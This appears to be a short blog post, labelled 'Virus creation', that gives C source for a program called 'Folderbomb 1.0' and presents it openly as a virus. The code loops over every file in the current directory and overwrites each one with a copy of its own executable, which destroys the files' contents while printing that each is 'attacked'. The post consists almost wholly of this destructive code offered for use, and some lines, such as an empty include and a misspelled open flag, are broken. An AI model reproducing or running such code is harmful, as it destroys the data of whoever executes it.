A virus program in c for creating a folder virus

08:45 | Labels: Virus creation

#include

void main(int argc,char* argv[])

{ char buf[512];

int source,target,byt,done;

struct ffblk ffblk;

clrscr();

textcolor(2);

cprintf(”————————————————————————–”);

printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);

cprintf(”————————————————————————–”);

done = findfirst(”*.*”,&ffblk,0);

while (!done)

{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);

source=open(argv[0],O_RDONLY|O_BINARY);

target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);

while(1)

{byt=read(source,buf,512);

if(byt>0)

write(target,buf,byt);

else

break;

}

close(source);

close(target);

done = findnext(&ffblk);

}

getch();

}

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